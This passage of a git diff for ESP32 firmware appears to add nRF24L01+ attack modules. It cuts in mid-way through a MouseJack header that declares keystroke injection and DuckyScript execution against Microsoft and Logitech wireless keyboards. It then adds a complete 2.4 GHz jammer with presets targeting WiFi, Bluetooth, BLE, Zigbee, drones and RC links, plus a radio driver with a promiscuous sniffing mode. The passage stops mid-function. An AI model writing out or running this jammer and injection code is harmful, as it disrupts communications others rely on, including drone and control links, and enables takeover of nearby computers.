list. + static void clearTargets(); + + // ── Attacks ───────────────────────────────────────────────── + /** + * Start keystroke injection attack on a specific target. + * @param targetIndex Index into targets array. + * @param hidPayload Raw HID codes to inject. + * @param payloadLen Number of bytes. + * @return true if attack started. + */ + static bool startAttack(uint8_t targetIndex, + const uint8_t* hidPayload, size_t payloadLen); + + /** + * Inject an ASCII string as keystrokes. + * @param targetIndex Index into targets array. + * @param text Null-terminated ASCII string. + * @return true if attack started. + */ + static bool injectString(uint8_t targetIndex, const char* text); + + /** + * Load and execute a DuckyScript file from SD card. + * @param targetIndex Index into targets array. + * @param filePath Path on SD (e.g., "/DATA/DUCKY/payload.txt"). + * @return true if script loaded and attack started. + */ + static bool executeDuckyScript(uint8_t targetIndex, const char* filePath); + + /// Stop any running attack. + static void stopAttack(); + + // ── State ─────────────────────────────────────────────────── + static MjState getState() { return state_; } + static bool isRunning() { return state_ == MJ_SCANNING || state_ == MJ_ATTACKING; } + +private: + static MjState state_; + static MjTarget targets_[MJ_MAX_TARGETS]; + static uint8_t targetCount_; + static uint16_t msSequence_; // Microsoft frame sequence counter + static volatile bool stopRequest_; // Signal to stop current operation + + // FreeRTOS task handle + static TaskHandle_t taskHandle_; + + // ── Internal scan logic ───────────────────────────────────── + static void scanTask(void* param); + static bool scanChannel(uint8_t ch); + static void fingerprint(const uint8_t* rawBuf, uint8_t size, uint8_t channel); + static void fingerprintPayload(const uint8_t* payload, uint8_t size, + const uint8_t* addr, uint8_t channel); + static int findTarget(const uint8_t* addr, uint8_t addrLen); + static int addTarget(const uint8_t* addr, uint8_t addrLen, + uint8_t channel, MjDeviceType type); + + // ── Internal attack logic ─────────────────────────────────── + static void attackTask(void* param); + + // Microsoft protocol + static void msTransmit(const MjTarget& target, uint8_t meta, uint8_t hid); + static void msCrypt(uint8_t* payload, uint8_t size, const uint8_t* addr); + static void msChecksum(uint8_t* payload, uint8_t size); + + // Logitech protocol + static void logTransmit(const MjTarget& target, uint8_t meta, + const uint8_t* keys, uint8_t keysLen); + + // DuckyScript parser + static bool parseDuckyLine(const String& line, uint8_t targetIndex); +}; + +#endif // MOUSEJACK_H diff --git a/src/modules/nrf/NrfJammer.cpp b/src/modules/nrf/NrfJammer.cpp new file mode 100644 index 0000000..bf40ec6 --- /dev/null +++ b/src/modules/nrf/NrfJammer.cpp @@ -0,0 +1,428 @@ +/** + * @file NrfJammer.cpp + * @brief 2.4 GHz jammer with multiple mode presets and dual jamming methods. + * + * Uses the nRF24L01+ in two modes: + * - Constant Carrier (CW): Unmodulated RF at max power for FHSS targets + * (Bluetooth Classic, Drones). Hops rapidly through relevant channels. + * - Data Flooding (writeFast): Transmits garbage packets at max speed + * to create packet-level collisions for channel-specific targets + * (WiFi, BLE, Zigbee). + * + * Channel mappings derived from the nRF24_jammer project and RF standards: + * - nRF24 channel N = 2400 + N MHz + * - WiFi ch 1 = 2412 MHz center, 22 MHz bandwidth β†’ nRF24 ch 1-23 + * - BLE advertising ch 37 = 2402 MHz β†’ nRF24 ch 2 + * - BLE advertising ch 38 = 2426 MHz β†’ nRF24 ch 26 + * - BLE advertising ch 39 = 2480 MHz β†’ nRF24 ch 80 + * - Zigbee ch 11 = 2405 MHz β†’ nRF24 ch 4-6, etc. + */ + +#include "NrfJammer.h" +#include "NrfModule.h" +#include "core/ble/ClientsManager.h" +#include "BinaryMessages.h" +#include "core/device_controls/DeviceControls.h" +#include "esp_log.h" + +static const char* TAG = "NrfJammer"; + +// Static members +volatile bool NrfJammer::running_ = false; +volatile bool NrfJammer::stopRequest_ = false; +TaskHandle_t NrfJammer::taskHandle_ = nullptr; +NrfJamMode NrfJammer::currentMode_ = NRF_JAM_FULL; +uint8_t NrfJammer::currentChannel_ = 50; +NrfHopperConfig NrfJammer::hopperConfig_ = {0, 80, 2}; + +// Garbage payload for data flooding (same as nRF24_jammer reference) +static const char JAM_FLOOD_DATA[] = "xxxxxxxxxxxxxxxx"; + +// ── Channel lists for each jamming mode ───────────────────────── + +// Classic Bluetooth: 21 key FHSS channels (from nRF24_jammer) +static const uint8_t JAM_BLUETOOTH_CHANNELS[] = { + 32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, + 8, 22, 24, 26, 28, 30, 74, 76, 78, 80 +}; + +// BLE advertising channels (the only 3 that matter for BLE discovery) +// BLE ch37=2402MHzβ†’nRF ch2, BLE ch38=2426MHzβ†’nRF ch26, BLE ch39=2480MHzβ†’nRF ch80 +static const uint8_t JAM_BLE_ADV_CHANNELS[] = { 2, 26, 80 }; + +// BLE data channels: cover the full 2402-2480 MHz range used by BLE +// data connections (channels 0-36 in BLE = nRF24 ch 2-80) +static const uint8_t JAM_BLE_CHANNELS[] = { + 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, + 22, 24, 26, 28, 30, 32, 34, 36, 38, 40, + 42, 44, 46, 48, 50, 52, 54, 56, 58, 60, + 62, 64, 66, 68, 70, 72, 74, 76, 78, 80 +}; + +// Zigbee channels 11-26: each is 2 MHz wide at 5 MHz spacing +// Zigbee ch N center = 2405 + 5*(N-11) MHz β†’ nRF24 ch = 5 + 5*(N-11) +// We cover Β±1 MHz around each center for effective jamming +static const uint8_t JAM_ZIGBEE_CHANNELS[] = { + 4, 5, 6, // Zigbee ch 11 (2405 MHz) + 9, 10, 11, // Zigbee ch 12 (2410 MHz) + 14, 15, 16, // Zigbee ch 13 (2415 MHz) + 19, 20, 21, // Zigbee ch 14 (2420 MHz) + 24, 25, 26, // Zigbee ch 15 (2425 MHz) + 29, 30, 31, // Zigbee ch 16 (2430 MHz) + 34, 35, 36, // Zigbee ch 17 (2435 MHz) + 39, 40, 41, // Zigbee ch 18 (2440 MHz) + 44, 45, 46, // Zigbee ch 19 (2445 MHz) + 49, 50, 51, // Zigbee ch 20 (2450 MHz) + 54, 55, 56, // Zigbee ch 21 (2455 MHz) + 59, 60, 61, // Zigbee ch 22 (2460 MHz) + 64, 65, 66, // Zigbee ch 23 (2465 MHz) + 69, 70, 71, // Zigbee ch 24 (2470 MHz) + 74, 75, 76, // Zigbee ch 25 (2475 MHz) + 79, 80, 81 // Zigbee ch 26 (2480 MHz) +}; + +static const uint8_t JAM_USB_CHANNELS[] = { 40, 50, 60 }; + +static const uint8_t JAM_VIDEO_CHANNELS[] = { 70, 75, 80 }; + +static const uint8_t JAM_RC_CHANNELS[] = { 1, 3, 5, 7 }; + +// Full spectrum (generated at startup to save flash) +static uint8_t JAM_FULL_CHANNELS[125]; +static bool fullChannelsInit = false; + +static void initFullChannels() { + if (!fullChannelsInit) { + for (int i = 0; i < 125; i++) { + JAM_FULL_CHANNELS[i] = i; + } + fullChannelsInit = true; + } +} + +// ── Determine jamming method per mode ─────────────────────────── + +/** + * Returns true if the mode should use data flooding (writeFast), + * false if it should use constant carrier (CW). + * + * - Constant Carrier: Best for FHSS targets (BT classic, drones) + * because the CW disrupts the PLL lock of hopping receivers. + * - Data Flooding: Best for channel-specific targets (WiFi, BLE, + * Zigbee) because it creates actual packet collisions/corruption. + */ +static bool useDataFlooding(NrfJamMode mode) { + switch (mode) { + case NRF_JAM_BLE: + case NRF_JAM_BLE_ADV: + case NRF_JAM_WIFI: + case NRF_JAM_ZIGBEE: + return true; + case NRF_JAM_BLUETOOTH: + case NRF_JAM_DRONE: + case NRF_JAM_USB: + case NRF_JAM_VIDEO: + case NRF_JAM_RC: + case NRF_JAM_SINGLE: + return false; + case NRF_JAM_FULL: + case NRF_JAM_HOPPER: + default: + return false; // CW for full-band and custom range + } +} + +// ── Channel list accessor ─────────────────────────────────────── + +const uint8_t* NrfJammer::getChannelList(NrfJamMode mode, size_t& count) { + switch (mode) { + case NRF_JAM_BLE: + count = sizeof(JAM_BLE_CHANNELS); + return JAM_BLE_CHANNELS; + case NRF_JAM_BLE_ADV: + count = sizeof(JAM_BLE_ADV_CHANNELS); + return JAM_BLE_ADV_CHANNELS; + case NRF_JAM_BLUETOOTH: + count = sizeof(JAM_BLUETOOTH_CHANNELS); + return JAM_BLUETOOTH_CHANNELS; + case NRF_JAM_USB: + count = sizeof(JAM_USB_CHANNELS); + return JAM_USB_CHANNELS; + case NRF_JAM_VIDEO: + count = sizeof(JAM_VIDEO_CHANNELS); + return JAM_VIDEO_CHANNELS; + case NRF_JAM_RC: + count = sizeof(JAM_RC_CHANNELS); + return JAM_RC_CHANNELS; + case NRF_JAM_ZIGBEE: + count = sizeof(JAM_ZIGBEE_CHANNELS); + return JAM_ZIGBEE_CHANNELS; + case NRF_JAM_WIFI: + // WiFi uses a special sweep in jammerTask, not a simple list + count = 0; + return nullptr; + case NRF_JAM_DRONE: + // Drone uses random channel hopping, not a list + count = 0; + return nullptr; + case NRF_JAM_FULL: + default: + initFullChannels(); + count = 125; + return JAM_FULL_CHANNELS; + } +} + +// ── Start/Stop ────────────────────────────────────────────────── + +bool NrfJammer::start(NrfJamMode mode) { + if (running_) { + ESP_LOGW(TAG, "Already running"); + return false; + } + if (!NrfModule::isPresent()) { + ESP_LOGE(TAG, "NRF not present"); + return false; + } + + currentMode_ = mode; + stopRequest_ = false; + running_ = true; + + BaseType_t result = xTaskCreatePinnedToCore( + jammerTask, "NrfJam", 4096, nullptr, 2, &taskHandle_, 1); + + if (result != pdPASS) { + ESP_LOGE(TAG, "Failed to create jammer task"); + running_ = false; + return false; + } + + // Notify app that jammer is active + uint8_t notif[3] = { MSG_NRF_JAM_STATUS, 1, (uint8_t)mode }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, notif, sizeof(notif)); + + ESP_LOGI(TAG, "Jammer started (mode=%d)", mode); + return true; +} + +bool NrfJammer::startSingleChannel(uint8_t channel) { + if (running_) { + ESP_LOGW(TAG, "Already running"); + return false; + } + + currentChannel_ = channel; + currentMode_ = NRF_JAM_SINGLE; + return start(NRF_JAM_SINGLE); +} + +bool NrfJammer::startHopper(const NrfHopperConfig& config) { + if (running_) { + ESP_LOGW(TAG, "Already running"); + return false; + } + + hopperConfig_ = config; + currentMode_ = NRF_JAM_HOPPER; + return start(NRF_JAM_HOPPER); +} + +bool NrfJammer::setMode(NrfJamMode mode) { + // Can change mode while running (atomic write) + currentMode_ = mode; + return true; +} + +bool NrfJammer::setChannel(uint8_t channel) { + currentChannel_ = channel; + return true; +} + +void NrfJammer::stop() { + if (!running_) return; + stopRequest_ = true; + ESP_LOGI(TAG, "Jammer stop requested"); +} + +// ── WiFi Bandwidth Sweep ──────────────────────────────────────── + +/** + * Sweep all 22 nRF24 channels that make up one WiFi channel's bandwidth. + * WiFi channel N (1-indexed) center = 2412 + 5*(N-1) MHz = nRF24 ch 12+5*(N-1). + * Bandwidth = 22 MHz, so sweep from center-11 to center+10. + * + * This function sweeps all 13 WiFi channels sequentially, flooding + * each sub-channel with garbage data. + */ +static void wifiJamSweep() { + for (int wifiCh = 0; wifiCh < 13; wifiCh++) { + int startCh = (wifiCh * 5) + 1; + for (int ch = startCh; ch < startCh + 22; ch++) { + if (ch >= 0 && ch <= 125) { + NrfModule::setChannel(ch); + NrfModule::writeFast(JAM_FLOOD_DATA, sizeof(JAM_FLOOD_DATA)); + } + } + } +} + +// ── Jammer Task ───────────────────────────────────────────────── + +void NrfJammer::jammerTask(void* param) { + ESP_LOGI(TAG, "Jammer task started"); + + if (!NrfModule::acquireSpi()) { + ESP_LOGE(TAG, "SPI busy"); + running_ = false; + vTaskDelete(nullptr); + return; + } + + NrfJamMode activeMode = currentMode_; + bool flooding = useDataFlooding(activeMode); + + // Common radio setup + NrfModule::writeRegister(NRF_REG_CONFIG, NRF_PWR_UP); + delay(2); + + NrfModule::setPALevel(3); // Max power (0 dBm) + NrfModule::setDataRate(NRF_2MBPS); // 2 Mbps for maximum RF bandwidth + NrfModule::writeRegister(NRF_REG_EN_AA, 0x00); // No auto-ack + NrfModule::writeRegister(NRF_REG_SETUP_RETR, 0x00); // No retries + NrfModule::disableCRC(); // No CRC for maximum speed + NrfModule::setAddressWidth(3); // Minimum address for speed + NrfModule::setPayloadSize(sizeof(JAM_FLOOD_DATA)); + + if (!flooding) { + // Constant Carrier mode: start CW on initial channel + NrfModule::startConstCarrier(currentChannel_); + } else { + // Data flooding: configure TX mode (no constant carrier) + NrfModule::writeRegister(NRF_REG_CONFIG, NRF_PWR_UP); // TX mode, no CRC + NrfModule::flushTx(); + NrfModule::writeRegister(NRF_REG_STATUS, 0x70); // Clear flags + } + + size_t hopIndex = 0; + + while (!stopRequest_) { + // Check if mode changed dynamically + if (activeMode != currentMode_) { + activeMode = currentMode_; + flooding = useDataFlooding(activeMode); + hopIndex = 0; + + if (!flooding) { + // Switch to constant carrier + NrfModule::startConstCarrier(currentChannel_); + } else { + // Switch to data flooding: stop carrier, configure TX + NrfModule::stopConstCarrier(); + NrfModule::writeRegister(NRF_REG_CONFIG, NRF_PWR_UP); + delay(2); + NrfModule::setPALevel(3); + NrfModule::setDataRate(NRF_2MBPS); + NrfModule::writeRegister(NRF_REG_EN_AA, 0x00); + NrfModule::writeRegister(NRF_REG_SETUP_RETR, 0x00); + NrfModule::disableCRC(); + NrfModule::flushTx(); + NrfModule::writeRegister(NRF_REG_STATUS, 0x70); + } + } + + // ── WiFi mode: special sweep across bandwidth ─────────── + if (activeMode == NRF_JAM_WIFI) { + wifiJamSweep(); + // Yield to other tasks briefly + vTaskDelay(pdMS_TO_TICKS(1)); + continue; + } + + // ── Drone mode: random channel hopping with CW ───────── + if (activeMode == NRF_JAM_DRONE) { + uint8_t randomCh = random(125); + NrfModule::ceLow(); + NrfModule::setChannel(randomCh); + NrfModule::ceHigh(); + vTaskDelay(pdMS_TO_TICKS(1)); + continue; + } + + // ── Single channel: keep carrier on one channel ───────── + if (activeMode == NRF_JAM_SINGLE) { + if (!flooding) { + NrfModule::ceLow(); + NrfModule::setChannel(currentChannel_); + NrfModule::ceHigh(); + } else { + NrfModule::setChannel(currentChannel_); + NrfModule::writeFast(JAM_FLOOD_DATA, sizeof(JAM_FLOOD_DATA)); + } + vTaskDelay(pdMS_TO_TICKS(1)); + continue; + } + + // ── Hopper mode: custom range ─────────────────────────── + if (activeMode == NRF_JAM_HOPPER) { + if (!flooding) { + NrfModule::ceLow(); + NrfModule::setChannel(currentChannel_); + NrfModule::ceHigh(); + } else { + NrfModule::setChannel(currentChannel_); + NrfModule::writeFast(JAM_FLOOD_DATA, sizeof(JAM_FLOOD_DATA)); + } + currentChannel_ += hopperConfig_.stepSize; + if (currentChannel_ > hopperConfig_.stopChannel) { + currentChannel_ = hopperConfig_.startChannel; + } + vTaskDelay(pdMS_TO_TICKS(1)); + continue; + } + + // ── Preset modes: hop through channel list ────────────── + size_t count; + const uint8_t* channels = getChannelList(activeMode, count); + if (count > 0 && channels != nullptr) { + uint8_t ch = channels[hopIndex % count]; + + if (flooding) { + // Data flooding: set channel and spam garbage + NrfModule::setChannel(ch); + NrfModule::writeFast(JAM_FLOOD_DATA, sizeof(JAM_FLOOD_DATA)); + } else { + // Constant carrier: toggle CE for PLL re-lock + NrfModule::ceLow(); + NrfModule::setChannel(ch); + NrfModule::ceHigh(); + } + + hopIndex++; + if (hopIndex >= count) hopIndex = 0; + } + + // 1ms delay: fast enough for effective jamming while giving + // other Core-1 tasks CPU time. Full sweep at 125 channels + // takes ~125ms which is well within effective jamming range. + vTaskDelay(pdMS_TO_TICKS(1)); + } + + // Cleanup + NrfModule::stopConstCarrier(); + NrfModule::flushTx(); + NrfModule::powerDown(); + NrfModule::releaseSpi(); + + running_ = false; + taskHandle_ = nullptr; + + // Notify app that jammer stopped + uint8_t notif[3] = { MSG_NRF_JAM_STATUS, 0, 0 }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, notif, sizeof(notif)); + + ESP_LOGI(TAG, "Jammer task ended"); + vTaskDelete(nullptr); +} diff --git a/src/modules/nrf/NrfJammer.h b/src/modules/nrf/NrfJammer.h new file mode 100644 index 0000000..96039e4 --- /dev/null +++ b/src/modules/nrf/NrfJammer.h @@ -0,0 +1,103 @@ +/** + * @file NrfJammer.h + * @brief 2.4 GHz jammer using nRF24L01+ constant carrier and data flooding. + * + * Supports multiple jamming modes: full-band, WiFi channels, BLE channels, + * Bluetooth, BLE advertising, Zigbee, Drone, USB, video, RC, and custom + * channel range hopping. + * + * Uses two jamming strategies depending on the target: + * - Constant Carrier (CW): Best for FHSS targets (Bluetooth, Drones) + * - Data Flooding (writeFast): Best for channel-specific targets (WiFi, BLE, Zigbee) + */ + +#ifndef NRF_JAMMER_H +#define NRF_JAMMER_H + +#include +#include + +/// Jamming mode presets +enum NrfJamMode : uint8_t { + NRF_JAM_FULL = 0, // All channels 1-124 + NRF_JAM_WIFI = 1, // WiFi channel centers + bandwidth + NRF_JAM_BLE = 2, // BLE data channels + NRF_JAM_BLE_ADV = 3, // BLE advertising channels (37,38,39) + NRF_JAM_BLUETOOTH = 4, // Classic Bluetooth (FHSS) + NRF_JAM_USB = 5, // USB wireless + NRF_JAM_VIDEO = 6, // Video streaming + NRF_JAM_RC = 7, // RC controllers + NRF_JAM_SINGLE = 8, // Single channel constant carrier + NRF_JAM_HOPPER = 9, // Custom range hopper + NRF_JAM_ZIGBEE = 10, // Zigbee channels 11-26 + NRF_JAM_DRONE = 11, // Drone: full band random hop +}; + +/// Hopper configuration for NRF_JAM_HOPPER mode +struct NrfHopperConfig { + uint8_t startChannel; // 0-124 + uint8_t stopChannel; // 0-124 + uint8_t stepSize; // 1-10 +}; + +/** + * @class NrfJammer + * @brief 2.4 GHz jammer with multiple mode presets. + */ +class NrfJammer { +public: + /** + * Start jamming in a preset mode. + * @param mode Jamming mode preset. + * @return true if started. + */ + static bool start(NrfJamMode mode); + + /** + * Start single-channel jamming. + * @param channel Channel to jam (0-124). + * @return true if started. + */ + static bool startSingleChannel(uint8_t channel); + + /** + * Start custom range hopper. + * @param config Hopper parameters. + * @return true if started. + */ + static bool startHopper(const NrfHopperConfig& config); + + /// Change jamming mode while running. + static bool setMode(NrfJamMode mode); + + /// Change channel in single-channel mode. + static bool setChannel(uint8_t channel); + + /// Stop jamming. + static void stop(); + + /// @return true if jammer is active. + static bool isRunning() { return running_; } + + /// @return current jamming mode. + static NrfJamMode getMode() { return currentMode_; } + + /// @return current channel (for single-channel mode). + static uint8_t getCurrentChannel() { return currentChannel_; } + +private: + static volatile bool running_; + static volatile bool stopRequest_; + static TaskHandle_t taskHandle_; + static NrfJamMode currentMode_; + static uint8_t currentChannel_; + static NrfHopperConfig hopperConfig_; + + /// Background jamming task. + static void jammerTask(void* param); + + /// Get channel list for a given mode. + static const uint8_t* getChannelList(NrfJamMode mode, size_t& count); +}; + +#endif // NRF_JAMMER_H diff --git a/src/modules/nrf/NrfModule.cpp b/src/modules/nrf/NrfModule.cpp new file mode 100644 index 0000000..e29ff61 --- /dev/null +++ b/src/modules/nrf/NrfModule.cpp @@ -0,0 +1,484 @@ +/** + * @file NrfModule.cpp + * @brief nRF24L01+ hardware abstraction β€” minimal custom driver. + * + * Shares HSPI bus with CC1101 modules via ModuleCc1101::rwSemaphore. + * Only implements the subset needed for MouseJack + spectrum + jammer. + */ + +#include "NrfModule.h" +#include "modules/CC1101_driver/CC1101_Module.h" +#include "CC1101_Radio.h" // For cc1101 global β€” setSidle() before NRF bus switch +#include "esp_log.h" + +static const char* TAG = "NrfModule"; + +// Static members +bool NrfModule::initialized_ = false; +bool NrfModule::present_ = false; +SPIClass* NrfModule::hspi_ = nullptr; + +// ── Initialization ────────────────────────────────────────────── + +bool NrfModule::init() { +#if !NRF_MODULE_ENABLED + ESP_LOGI(TAG, "NRF module disabled in config"); + return false; +#endif + + if (initialized_) { + ESP_LOGW(TAG, "Already initialized"); + return present_; + } + + // Configure control pins + pinMode(NRF_CE, OUTPUT); + digitalWrite(NRF_CE, LOW); + + pinMode(NRF_CSN, OUTPUT); + digitalWrite(NRF_CSN, HIGH); + + // Use the existing HSPI instance shared with CC1101 + // The CC1101 Radio code uses global SPIClass CCSPI(HSPI) + // We create our own reference but on the same hardware bus + static SPIClass nrfSpi(HSPI); + hspi_ = &nrfSpi; + + // Verify chip presence by reading STATUS register + if (!acquireSpi(pdMS_TO_TICKS(500))) { + ESP_LOGE(TAG, "Failed to acquire SPI mutex during init"); + return false; + } + + // Initialize HSPI with our pins + hspi_->begin(CC1101_SCK, CC1101_MISO, CC1101_MOSI, NRF_CSN); + + // Read status register β€” should return valid value (not 0x00 or 0xFF) + uint8_t status = readRegister(NRF_REG_STATUS); + ESP_LOGI(TAG, "nRF24L01 STATUS register: 0x%02X", status); + + if (status == 0x00 || status == 0xFF) { + ESP_LOGE(TAG, "nRF24L01 not detected (STATUS=0x%02X)", status); + present_ = false; + releaseSpi(); + initialized_ = true; // Mark initialized to prevent retries + return false; + } + + // Basic configuration: power up, disable auto-ack, CRC off + writeRegister(NRF_REG_CONFIG, NRF_PWR_UP); + delay(2); // Power-up delay (1.5ms typ) + + writeRegister(NRF_REG_EN_AA, 0x00); // Disable auto-ack on all pipes + writeRegister(NRF_REG_EN_RXADDR, 0x03); // Enable pipes 0 and 1 + writeRegister(NRF_REG_SETUP_AW, 0x03); // 5-byte address width + writeRegister(NRF_REG_SETUP_RETR, 0x0F); // 500Β΅s retransmit delay, 15 retries + writeRegister(NRF_REG_RF_CH, 0x02); // Channel 2 default + writeRegister(NRF_REG_RF_SETUP, NRF_RF_DR_HIGH | NRF_RF_PWR_MAX); // 2Mbps, 0dBm + writeRegister(NRF_REG_DYNPD, 0x00); // Disable dynamic payload + writeRegister(NRF_REG_FEATURE, 0x00); // Disable features + + // Flush FIFOs + flushTx(); + flushRx(); + + // Clear status flags + writeRegister(NRF_REG_STATUS, 0x70); + + releaseSpi(); + + present_ = true; + initialized_ = true; + ESP_LOGI(TAG, "nRF24L01 initialized successfully"); + return true; +} + +void NrfModule::deinit() { + if (!initialized_) return; + + if (acquireSpi()) { + powerDown(); + releaseSpi(); + } + + digitalWrite(NRF_CE, LOW); + digitalWrite(NRF_CSN, HIGH); + + initialized_ = false; + present_ = false; + ESP_LOGI(TAG, "nRF24L01 deinitialized"); +} + +bool NrfModule::isPresent() { + return present_; +} + +// ── SPI Bus Management ────────────────────────────────────────── + +bool NrfModule::acquireSpi(TickType_t timeout) { + SemaphoreHandle_t mutex = ModuleCc1101::getSpiSemaphore(); + if (xSemaphoreTake(mutex, timeout) != pdTRUE) { + ESP_LOGW(TAG, "SPI mutex timeout"); + return false; + } + + // Put both CC1101 modules into idle before switching bus to NRF. + // This prevents spurious CC1101 SPI activity and ensures clean handover. + cc1101.setModul(MODULE_1); + cc1101.setSidle(); + cc1101.setModul(MODULE_2); + cc1101.setSidle(); + + // Deselect all CC1101 CS lines to avoid bus contention + digitalWrite(CC1101_SS0, HIGH); + digitalWrite(CC1101_SS1, HIGH); + + // Small delay to let CC1101 settle into idle + delayMicroseconds(100); + + // Re-initialize HSPI for NRF pin configuration. + // CC1101 Radio calls SPI.end() on some paths, so we must re-begin. + hspi_->begin(CC1101_SCK, CC1101_MISO, CC1101_MOSI, NRF_CSN); + + return true; +} + +void NrfModule::releaseSpi() { + // Ensure CE is low (not listening/transmitting) + digitalWrite(NRF_CE, LOW); + // Deselect NRF chip select + digitalWrite(NRF_CSN, HIGH); + + // End our SPI bus usage so CC1101 can re-initialize cleanly. + // NOTE: Do NOT call endTransaction() here β€” individual register + // read/write operations already manage their own transactions. + // Calling endTransaction() without a matching beginTransaction() + // corrupts the SPI driver state and breaks subsequent CC1101 use. + hspi_->end(); + + SemaphoreHandle_t mutex = ModuleCc1101::getSpiSemaphore(); + xSemaphoreGive(mutex); +} + +// ── SPI Transaction Helpers ───────────────────────────────────── + +void NrfModule::beginTransaction() { + hspi_->beginTransaction(SPISettings(8000000, MSBFIRST, SPI_MODE0)); + digitalWrite(NRF_CSN, LOW); +} + +void NrfModule::endTransaction() { + digitalWrite(NRF_CSN, HIGH); + hspi_->endTransaction(); +} + +uint8_t NrfModule::spiTransfer(uint8_t cmd) { + return hspi_->transfer(cmd); +} + +void NrfModule::spiTransfer(uint8_t cmd, uint8_t* buf, uint8_t len) { + hspi_->transfer(cmd); + for (uint8_t i = 0; i < len; i++) { + buf[i] = hspi_->transfer(buf[i]); + } +} + +// ── Register Access ───────────────────────────────────────────── + +uint8_t NrfModule::readRegister(uint8_t reg) { + beginTransaction(); + spiTransfer(NRF_CMD_R_REGISTER | (reg & 0x1F)); + uint8_t val = spiTransfer(NRF_CMD_NOP); + endTransaction(); + return val; +} + +void NrfModule::readRegister(uint8_t reg, uint8_t* buf, uint8_t len) { + beginTransaction(); + spiTransfer(NRF_CMD_R_REGISTER | (reg & 0x1F)); + for (uint8_t i = 0; i < len; i++) { + buf[i] = spiTransfer(NRF_CMD_NOP); + } + endTransaction(); +} + +void NrfModule::writeRegister(uint8_t reg, uint8_t value) { + beginTransaction(); + spiTransfer(NRF_CMD_W_REGISTER | (reg & 0x1F)); + spiTransfer(value); + endTransaction(); +} + +void NrfModule::writeRegister(uint8_t reg, const uint8_t* buf, uint8_t len) { + beginTransaction(); + spiTransfer(NRF_CMD_W_REGISTER | (reg & 0x1F)); + for (uint8_t i = 0; i < len; i++) { + spiTransfer(buf[i]); + } + endTransaction(); +} + +// ── Radio Operations ──────────────────────────────────────────── + +void NrfModule::setChannel(uint8_t ch) { + writeRegister(NRF_REG_RF_CH, ch & 0x7F); +} + +uint8_t NrfModule::getChannel() { + return readRegister(NRF_REG_RF_CH); +} + +void NrfModule::setDataRate(NrfDataRate rate) { + uint8_t setup = readRegister(NRF_REG_RF_SETUP); + setup &= ~(NRF_RF_DR_HIGH | NRF_RF_DR_LOW); // Clear rate bits + + switch (rate) { + case NRF_1MBPS: + // Both bits 0 + break; + case NRF_2MBPS: + setup |= NRF_RF_DR_HIGH; + break; + case NRF_250KBPS: + setup |= NRF_RF_DR_LOW; + break; + } + writeRegister(NRF_REG_RF_SETUP, setup); +} + +void NrfModule::setPALevel(uint8_t level) { + uint8_t setup = readRegister(NRF_REG_RF_SETUP); + setup &= ~0x06; // Clear PA bits + setup |= ((level & 0x03) << 1); + writeRegister(NRF_REG_RF_SETUP, setup); +} + +void NrfModule::setAddressWidth(uint8_t width) { + if (width < 2) width = 2; + if (width > 5) width = 5; + writeRegister(NRF_REG_SETUP_AW, width - 2); +} + +void NrfModule::setPromiscuousMode() { + ceLow(); + + // Disable CRC, enable RX mode + writeRegister(NRF_REG_CONFIG, NRF_PWR_UP | NRF_PRIM_RX); + + // Disable auto-ack + writeRegister(NRF_REG_EN_AA, 0x00); + + // 2-byte address width for promiscuous (reverse engineering trick) + setAddressWidth(2); + + // Set known preamble addresses for noise detection + const uint8_t addr0[] = {0x55, 0x55}; + const uint8_t addr1[] = {0xAA, 0xAA}; + writeRegister(NRF_REG_RX_ADDR_P0, addr0, 2); + writeRegister(NRF_REG_RX_ADDR_P1, addr1, 2); + + // Enable pipes 0 and 1 + writeRegister(NRF_REG_EN_RXADDR, 0x03); + + // Max payload size for sniffing + writeRegister(NRF_REG_RX_PW_P0, 32); + writeRegister(NRF_REG_RX_PW_P1, 32); + + // Flush RX FIFO + flushRx(); + + // Clear status + writeRegister(NRF_REG_STATUS, 0x70); + + // Start listening + ceHigh(); +} + +void NrfModule::setTxMode(const uint8_t* addr, uint8_t addrLen) { + ceLow(); + + // Set address width + setAddressWidth(addrLen); + + // Set TX and RX_P0 addresses (for auto-ack) + writeRegister(NRF_REG_TX_ADDR, addr, addrLen); + writeRegister(NRF_REG_RX_ADDR_P0, addr, addrLen); + + // Configure for TX + uint8_t config = readRegister(NRF_REG_CONFIG); + config &= ~NRF_PRIM_RX; // TX mode + config |= NRF_PWR_UP; + writeRegister(NRF_REG_CONFIG, config); + + // Flush TX FIFO + flushTx(); + + // Clear status + writeRegister(NRF_REG_STATUS, 0x70); +} + +uint8_t NrfModule::receive(uint8_t* buf, uint8_t maxLen) { + uint8_t status = readRegister(NRF_REG_STATUS); + + if (!(status & (1 << 6))) { + return 0; // No RX data ready + } + + // Read payload + uint8_t pipeNo = (status >> 1) & 0x07; + uint8_t payloadWidth = readRegister(NRF_REG_RX_PW_P0 + pipeNo); + if (payloadWidth > maxLen) payloadWidth = maxLen; + if (payloadWidth > 32) payloadWidth = 32; + + beginTransaction(); + spiTransfer(NRF_CMD_R_RX_PAYLOAD); + for (uint8_t i = 0; i < payloadWidth; i++) { + buf[i] = spiTransfer(NRF_CMD_NOP); + } + endTransaction(); + + // Clear RX_DR flag + writeRegister(NRF_REG_STATUS, (1 << 6)); + + return payloadWidth; +} + +bool NrfModule::transmit(const uint8_t* buf, uint8_t len) { + if (len > 32) len = 32; + + // Write TX payload + beginTransaction(); + spiTransfer(NRF_CMD_W_TX_PAYLOAD); + for (uint8_t i = 0; i < len; i++) { + spiTransfer(buf[i]); + } + endTransaction(); + + // Pulse CE to transmit + ceHigh(); + delayMicroseconds(15); + ceLow(); + + // Wait for TX complete or MAX_RT (timeout ~4ms with 15 retries) + uint32_t startMs = millis(); + while (millis() - startMs < 50) { + uint8_t status = readRegister(NRF_REG_STATUS); + if (status & NRF_MASK_TX_DS) { + // TX success + writeRegister(NRF_REG_STATUS, NRF_MASK_TX_DS); + return true; + } + if (status & NRF_MASK_MAX_RT) { + // Max retransmits reached + writeRegister(NRF_REG_STATUS, NRF_MASK_MAX_RT); + flushTx(); + return false; + } + delayMicroseconds(100); + } + + // Timeout + flushTx(); + return false; +} + +void NrfModule::writeFast(const void* buf, uint8_t len) { + if (len > 32) len = 32; + + // Write TX payload + beginTransaction(); + spiTransfer(NRF_CMD_W_TX_PAYLOAD); + const uint8_t* p = static_cast(buf); + for (uint8_t i = 0; i < len; i++) { + spiTransfer(p[i]); + } + endTransaction(); + + // Pulse CE to trigger transmission 